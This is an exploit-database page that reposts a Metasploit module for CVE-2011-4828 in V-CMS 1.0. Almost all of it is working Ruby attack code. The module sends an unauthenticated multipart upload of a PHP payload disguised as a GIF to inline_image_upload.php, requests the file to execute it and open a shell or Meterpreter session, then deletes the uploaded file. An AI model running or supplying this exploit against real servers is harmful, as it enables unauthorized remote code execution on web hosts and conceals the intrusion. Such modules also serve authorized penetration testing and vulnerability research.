V-CMS PHP File Upload and Execute



EKU-ID: 1927 CVE: 2011-4828 OSVDB-ID:
Author: sinn3r Published: 2012-04-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "V-CMS PHP File Upload and Execute",
   'Description'    => %q{
     This module exploits a vulnerability found on V-CMS's inline image upload feature.
    The problem is due to the inline_image_upload.php file not checking the file type
    before saving it on the web server. This allows any malicious user to upload a
    script (such as PHP) without authentication, and then execute it with a GET request.

     The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
    allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
    one of those extension names, which may still be leveraged in an attack.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'AutoSec Tools',  #Initial discovery
     'sinn3r'          #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-4828'],
     ['BID', '50706'],
     ['URL', 'http://bugs.v-cms.org/view.php?id=53'],
     ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['V-CMS 1.0', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
    ], self.class)
 end

 def check
  res = send_request_raw({
   'uri'   => target_uri.path,
   'method' => 'GET'
  })

  if res and res.body =~ /V\-CMS v1\.[0-1]/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   client.fs.file.rm(@payload_name)
  else
   client.shell_command_token("rm #{@payload_name}")
  end
 end

 def exploit
  peer = "#{rhost}:#{rport}"

  base = target_uri.path
  base << '/' if base[-1,1] != '/'

  @payload_name = "#{rand_text_alpha(5)}.php"
  p = %Q|<?php
  #{payload.encoded}
  ?>
  |

  p = p.gsub(/^\t\t/, '')

  post_data = "------x\r\n"
  post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
  post_data << "Content-Type: image/gif\r\n"
  post_data << "\r\n"
  post_data << p
  post_data << "------x--\r\n"

  print_status("#{peer} Uploading payload: #{@payload_name}")
  res = send_request_cgi({
   'uri'    => "#{base}includes/inline_image_upload.php",
   'method' => 'POST',
   'ctype'  => 'multipart/form-data; boundary=----x',
   'data'   => post_data
  })

  if res
   print_status("#{peer} replies status: #{res.code.to_s}")
  else
   print_error("#{peer} No response from server. Will not continue")
   return
  end

  print_status("#{peer} Executing payload: #{@payload_name}")
  res = send_request_raw({
   'uri'    => "#{base}temp/#{@payload_name}",
   'method' => 'GET'
  })

  if res and res.code == 404
   print_error("#{peer} 404 - the upload probably failed")
   return
  end

  handler
 end
end